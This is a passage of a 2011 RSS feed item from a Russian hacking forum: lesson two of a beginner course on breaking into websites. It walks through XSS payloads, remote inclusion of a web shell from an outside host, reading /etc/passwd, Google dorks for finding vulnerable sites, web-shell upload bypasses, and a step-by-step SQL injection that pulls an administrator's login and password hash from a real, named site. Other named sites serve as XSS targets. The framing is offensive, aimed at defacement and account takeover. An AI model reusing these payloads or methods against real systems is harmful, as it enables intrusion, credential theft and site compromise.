target=&quot;_blank&quot;&gt;http://www.atlant.ws/?set=search&amp;amp;ww &amp;#8230; amp;query=&lt;/a&gt;[script]alert(&#039;xss&#039;)[/script]&lt;br /&gt;Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение.&lt;br /&gt;Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q)&lt;br /&gt;Кроме пассивных xss существует активные.&lt;br /&gt;Опять же пример:&lt;br /&gt;&lt;a href=&quot;http://www.addtop.ru/kom.php?id=32&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.addtop.ru/kom.php?id=32&lt;/a&gt;&lt;br /&gt;Вводим в комментарии скрипт&lt;br /&gt;[script]alert(&#039;xss&#039;)[/script]&lt;br /&gt;И отправляем его.&lt;br /&gt;Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его.&lt;br /&gt;Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти.&lt;br /&gt;А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код.&lt;br /&gt;Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss. &lt;br /&gt;Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем.&lt;br /&gt;В конце статьи я приведу несколько полезный ссылок на эту тему.&lt;/p&gt;
						&lt;p&gt;Введение в PHP include.&lt;br /&gt;Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл.&lt;br /&gt;Разберем сначала, что такое веб шелл.&lt;br /&gt;Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе.&lt;br /&gt;В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл.&lt;br /&gt;Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость&lt;/p&gt;
						&lt;p&gt;Видим на сайте такой url:&lt;br /&gt;wwwsite.ru?page=home.html&lt;br /&gt;Это значит, что на страничку подгружается файл home.html&lt;br /&gt;А что если попробовать подгузить свой файл? Например, так:&lt;br /&gt;wwwsite.ru?page=http:/hacker.ru/webshell.php&lt;br /&gt;Так мы пробуем загрузить веб шелл на сайт.&lt;br /&gt;Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан.&lt;br /&gt;Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера.&lt;br /&gt;Кроме удаленных, инклуды бывают локальные.&lt;br /&gt;В этом случае мы сможем только читать файлы на сервере.&lt;br /&gt;Например, сейчас мы попробуем прочитать файл с именами пользователей системы:&lt;br /&gt;wwwsite.ru?page=/etc/passwd&lt;br /&gt;Вот, опять же попробуй поискать php include. Советую воспользоваться google:&lt;br /&gt;Inurl:page=&lt;br /&gt;Такой запрос покажет нам сайты, в урле которых присутствует строка &amp;quot;page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим&lt;br /&gt;Кстати если найдешь php инклуд, то можно получить xss вот так:&lt;br /&gt;wwwsite.ru?page=[script]alert(/xss/)[/script] &lt;br /&gt;Это работает во многих случаях.&lt;br /&gt;В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.&lt;/p&gt;
						&lt;p&gt;Введение в SQL Injection&lt;br /&gt;Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта.&lt;br /&gt;Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы&lt;br /&gt;Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например:&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=18646644&lt;/a&gt;&lt;br /&gt;Что бы проверить параметр на sql injection обычно подставляют кавычку&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644&#039;&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=18646644&#039;&lt;/a&gt; либо другие левые символы&lt;br /&gt;Видим ошибку. Понимаем что это mysql.&lt;br /&gt;Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19&lt;/p&gt;
						&lt;p&gt;Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by.&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644’+order+by+10/*&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; er+by+10/*&lt;/a&gt;&lt;br /&gt;Вывод то же самый, значит полей меньше&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644+order+by+7/*&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=18646644+order+by+7/*&lt;/a&gt;&lt;br /&gt;Да. Вывод изменился. Значит полей 7.&lt;br /&gt;Теперь нужно получить читабельные поля. &lt;a href=&quot;http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/*&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; ,4,5,6,7/*&lt;/a&gt;&lt;br /&gt;Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select&lt;br /&gt;У нас есть колонки. Теперь нужно получить информация о базе.&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644&#039;+union+select+1,2,3,version&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; ,3,version&lt;/a&gt;(),5,6,7/*&lt;br /&gt;Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу.&lt;br /&gt;Делается это так:&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644&#039;+union+select+1,2,3,version&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; ,3,version&lt;/a&gt;(),5,6,7/+from+таблица/*&lt;br /&gt;таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой &lt;br /&gt;ссылке&lt;br /&gt;В нашем случае мне удалось узнать, что имя таблицы user.&lt;br /&gt;Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль.&lt;br /&gt;Попробуем:&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; rom+user/*&lt;/a&gt;&lt;br /&gt;И у нас на экране логин и хеш пароля администратора.&lt;br /&gt;Вот таким не хитрым образом удалось поломать базу.&lt;br /&gt;Кстати здесь тоже имеет место xss:&lt;br /&gt;&lt;a href=&quot;http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.descom.ch/main.php?id=186466 &amp;#8230; ect+1,2,3,&lt;/a&gt;[script]alert(/xss/)[/script],5,6,7/*&lt;/p&gt;
						&lt;p&gt;Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках &lt;br /&gt;я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql&lt;br /&gt;Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме &lt;a href=&quot;http://vzlom.ixbb.ru&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://vzlom.ixbb.ru&lt;/a&gt;:&lt;/p&gt;
						&lt;p&gt;Еще парочка способов загрузить веб шелл.&lt;br /&gt;Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ&lt;br /&gt;На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение. &lt;br /&gt;Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом:&lt;br /&gt;Поменять разрешение на такое:&lt;br /&gt;webshell.php.jpg.&lt;br /&gt;и возможно нам удастся загрузить шелл.&lt;br /&gt;Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст&lt;br /&gt;Для этого можно поступить вот так:&lt;br /&gt;Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт. &lt;/p&gt;
						&lt;p&gt;Термины, используемые в статье.&lt;br /&gt;Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи:&lt;br /&gt;Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например &amp;quot;Hacked by вася&amp;quot;&lt;br /&gt;CMS или еще говорят движок-двиг - система управления сайтом. &lt;br /&gt;Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования&lt;br /&gt;Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для:&lt;br /&gt;аутентификации пользователя;&lt;br /&gt;хранения персональных предпочтений и настроек пользователя;&lt;br /&gt;отслеживания состояния сессии доступа пользователя;&lt;br /&gt;ведения статистики о пользователях.&lt;br /&gt;Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ.&lt;br /&gt;В следующей статье я как раз расскажу про воровство Cookes с помощью xss&lt;br /&gt;bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении.&lt;br /&gt;Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте. &lt;/p&gt;
						&lt;p&gt;Послесловие&lt;br /&gt;Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах.&lt;br /&gt;Для самообразования можно почитать вот это:&lt;br /&gt;xss &lt;br /&gt;sql injection&lt;br /&gt;php include&lt;/p&gt;
						&lt;p&gt;А также&lt;br /&gt;теоретические основы хакинга&lt;br /&gt;Также очень советую почаще посещать багтрак и разбирать уязвимости которые там описываются. На этом пока все. Удачи!&lt;br /&gt;ps все уголковые теги заменены на [ и ]&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Farounaga)</author>
			<pubDate>Mon, 28 Mar 2011 13:04:01 +0400</pubDate>
			<guid>https://farounaga.forumbb.ru/viewtopic.php?pid=3#p3</guid>
		</item>
	</channel>
</rss>
